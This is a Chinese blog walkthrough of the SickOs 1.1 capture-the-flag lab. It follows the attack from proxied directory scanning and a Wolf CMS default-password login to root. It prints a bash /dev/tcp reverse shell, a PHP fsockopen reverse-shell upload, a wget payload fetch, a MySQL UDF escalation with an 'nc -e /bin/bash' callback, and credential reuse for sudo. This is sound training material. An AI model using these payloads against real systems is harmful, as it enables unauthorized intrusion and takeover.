【SickOs1.1靶场渗透】

文章目录

一、基础信息

二、信息收集

三、反弹shell

四、提权


一、基础信息

Kali IP:192.168.20.146

靶机IP:192.168.20.150

二、信息收集

端口扫描

nmap -sS -sV -p- -A 192.168.20.150

开放了22、3128端口,8080端口显示关闭

22端口 openssh 5.9p1

3128端口 squid 3.1.19 //前面靶场遇到过,可能又要设置代理

直接目录扫描没有发现,设置一下代理访问服务器80端口发现有显示

设置代理扫描一下目录

dirsearch -u http://192.168.20.150/ --proxy=192.168.20.150:3128 -x 403

发现两个路径,访问一下

Robots文件显示了一个新路径:http://192.168.20.150/wolfcms/,为wolf cms

http://192.168.20.150/connect,好像没什么用

继续扫描一下上面wolfcms的目录文件

dirsearch -u http://192.168.20.150/wolfcms --proxy=192.168.20.150:3128 -x 403

其他路径访问了下好像没啥有用的

百度查找wolfcms默认后台登陆地址/?/admin拼接跳转成功

http://192.168.20.150/wolfcms/?/admin/login

弱口令admin:admin成功登录到后台

三、反弹shell

1、Php反弹shell

打开一个page页面发现可以编辑php代码,写入php代码反弹shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.20.146/8080 0>&1'"); ?>

保存后刷新一下页面即可反弹shell

2、文件上传反弹shell

登录到系统后可以发现cms版本为0.8.2,搜索一下漏洞,发现有文件上传漏洞

找到文件上传点

上传shell.php

<?php
$sock=fsockopen('192.168.20.146',8080);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>

开启监听端口,访问http://192.168.20.146/wolfcms/public/shell.php,成功反弹shell

python -c 'import pty;pty.spawn("/bin/bash")'

四、提权

1、sudo提权需要账户密码,这里没有

2、尝试数据库udf提权

查看根目录信息,发现config.php文件,查看内容发现数据库信息

当前数据库:wolf,账户密码:root/john@123

登录到数据库查看到了admin的账户信息

但是解不出密码

UDF,即user defined function,在MySQL中,UDF允许用户创建自己的函数,这些函数可以在SQL查询语句中使用,类似于内置函数。通过使用UDF,用户可以对数据库进行自定义操作,以满足业务需求,或实现数据库本身并不支持的一些特定功能。
前提条件:
1、拥有MySQL数据库账号,且该账号对MySQL拥有create insert delete等权限,以创建和使用函数
2、secure_file_priv为空,若secure_file_priv指定的目录恰好是我们提权过程中用到的目录,也可以

show global variables like 'secure%';

secure_file_priv值为空则可写,可以考虑UDF提权

secure_file_priv值为指定路径,则指定路径可写

show variables like '%compile%';

可以看到系统版本,这可以确定等下我们要用的脚本。

select @@plugin_dir;                      #查找具体目录

select @@basedir;                       #查看mysql目录

kali上寻找exp

find / -name "*mysqludf*" 2>/dev/null

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so /root

python -m http.server 8090

靶机上

cd /tmp

wget http://192.168.20.146:8090/lib_mysqludf_sys_64.so

提权操作

use mysql;
create table hack(line blob); #新建一个表,用来存放本地传来的udf文件的内容
insert into hack values(load_file('/tmp/lib_mysqludf_sys_64.so'));  #在hack中写入udf文件内容
select * from hack into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';  #将udf文件内容传入新建的udf文件中
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';  #导入udf函数
select sys_exec('nc 192.168.20.146 9090 -e /bin/bash'); #执行

但是在将udf文件内容传入新建的udf文件中时失败了,提示不能创建和写入文件,不知道咋回事,secure_file_priv值是为空的呀。

Mysql_udf提权失败

3、Suid位提权

find / -perm -u=s -type f 2>/dev/null

搜索了一下没有可利用的

4、内核提权

Uname -a

Cat /etc/*release

搜索漏洞

似乎没有有效的,尝试了几个也是没成功

只能继续收集信息

看到/etc/passwd文件里还有个用户,尝试用已知的数据库密码登录成功。

账户密码:sickos/john@123

发现可用sudo提权:sudo su,提权成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一纸-荒芜

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值